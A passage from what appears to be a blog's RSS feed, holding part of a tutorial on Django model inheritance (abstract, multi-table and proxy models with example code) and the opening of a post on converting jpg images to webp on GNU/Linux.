True&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;BasicData&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        abstract &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Product&lt;/span&gt;(BasicData):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ShippingMethod&lt;/span&gt;(BasicData):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    price &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveIntegerField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the example above both models will include the &lt;em&gt;modified&lt;/em&gt; and &lt;em&gt;created&lt;/em&gt; fields, however &lt;strong&gt;Django will not create any tables&lt;/strong&gt; for the &lt;em&gt;BasicData&lt;/em&gt; model.&lt;/p&gt;&#xA;&lt;h2 id=&#34;multi-table-inheritance&#34;&gt;Multi Table Inheritance&lt;/h2&gt;&#xA;&lt;p&gt;In this type of inheritance Django &lt;strong&gt;will create a table for each model&lt;/strong&gt; (that&amp;rsquo;s why it&amp;rsquo;s called multi-table). It will also join both models automatically by means of an &lt;em&gt;OneToOneField&lt;/em&gt; field in the child model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Place&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    address &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Cafe&lt;/span&gt;(Place):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    number_of_employees &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;IntegerField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    speciality_coffee_available &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;BooleanField(default&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the example above we may be interested in having both models, we can filter by Place and then we can access the child by its one to one relationship &lt;strong&gt;using its lower case model name&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;myFavoriteCafe &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Place&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Matraz cafe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Matraz Cafe has &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; employees&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(myFavoriteCafe&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;cafe&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;number_of_employees))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;proxy-inheritance&#34;&gt;Proxy inheritance&lt;/h2&gt;&#xA;&lt;p&gt;This type of inheritance is used to change or extend the behavior of a model. To create it just add the &lt;em&gt;Meta&lt;/em&gt; class with the &lt;em&gt;proxy&lt;/em&gt; attribute equal to &lt;em&gt;True&lt;/em&gt;. In this case both models are in the same table and we can create, access, update or delete data using any of its models.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;BaseProduct&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; created at &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;created&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;strftime(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%H:%M&amp;#34;&lt;/span&gt;)) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;OrderedContent&lt;/span&gt;(BaseProduct):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        proxy &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ordering &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-created&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the example above we have a new model that defines a default ordering by means of the ordering attribute. That is, assuming we had a table with data we could access the same data from the Django ORM.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; app.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseProduct, OrderedContent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Same data, default order&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BaseProduct&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;BaseProduct: Eternal sunshine of a spotless mind created at &lt;span style=&#34;color:#ff9f43&#34;&gt;21&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;59&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;BaseProduct: Arrival created at &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;00&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;BaseProduct: The imitation game created at &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;01&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# same data, reversed orded&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OrderedContent&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;OrderedContent: The imitation game created at &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;01&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;OrderedContent: Arrival created at &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;00&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;OrderedContent: Eternal sunshine of a spotless mind created at &lt;span style=&#34;color:#ff9f43&#34;&gt;21&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;59&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see we were able to access the same three database objects &lt;strong&gt;from both models&lt;/strong&gt;, with the difference that in the &lt;em&gt;OrderedContent&lt;/em&gt; model our objects appear sorted in descending order with respect to the &lt;em&gt;created&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;If you want to know more about Django, I can recommend some books. Read my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-best-django-book-two-scoops-of-django-review/&#34;&gt;review of two scoops of django&lt;/a&gt;&#xA;, a great book that teaches you good Django Framework practices.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Sometimes, when we create Models in Django we want to give certain characteristics in common to several of our models. Probably, the first approach that would come to our mind would be to repeat the fields over and over again. This would bring us two problems; first, we are repeating information; second, if we want to add another field in common we will have to modify each of the models. This problem is solved by Django&amp;rsquo;s model inheritance.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to convert jpg to webp on GNU Linux?</title>
      <link>https://coffeebytes.dev/en/linux/how-to-convert-jpg-to-webp-on-gnu-linux/</link>
      <pubDate>Thu, 10 Sep 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/how-to-convert-jpg-to-webp-on-gnu-linux/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A couple of weeks ago I wanted to convert my ecommerce images from jpg to webp. Normally to modify images in GNU/Linux I use GIMP or imageMagick, but neither of these two have native support for webp, or if they do I&amp;rsquo;m so clueless that I didn&amp;rsquo;t notice.&lt;/p&gt;&#xA;&lt;p&gt;And why not use online conversion? Well, it&amp;rsquo;s a good option for a couple of images, but when you convert a lot of images&amp;hellip; it becomes tedious, and why not do it directly in our OS?&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-should-i-use-webp&#34;&gt;Why should I use webp?&lt;/h2&gt;&#xA;&lt;p&gt;The JPG format has been around for some time but new formats have emerged that promise &lt;strong&gt;the same quality with a smaller file size&lt;/strong&gt;. One of them is webp, developed by google.&lt;/p&gt;&#xA;&lt;p&gt;Less weight in our images means better performance. A website that loads faster will have better &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.dev/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Lighthouse&lt;/a&gt;&#xA; metrics and lower data consumption for the user.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;downloading-webp&#34;&gt;Downloading webp&lt;/h2&gt;&#xA;&lt;p&gt;The first step to transform our images to webp format is to download the appropriate libraries. The package we need to transform our images is called webp and is found in the repositories of popular GNU/Linux distributions. Let&amp;rsquo;s install it.&lt;/p&gt;&#xA;&lt;p&gt;If the following command does not ring a bell or you want to brush up on the basic GNU/Linux commands please visit my entries where I talk about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;most common GNU Linux commands&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install webp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For this entry I will use a free image, in 1920 x 1280 resolution, that I downloaded from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.pexels.com/photo/tan-coconuts-placed-atop-brown-wooden-table-1120963/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;pexels&lt;/a&gt;&#xA;, you can use any image you want, even the picture of your dog.&lt;/p&gt;&#xA;&lt;p&gt;The size of my image is 476 Kb.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code 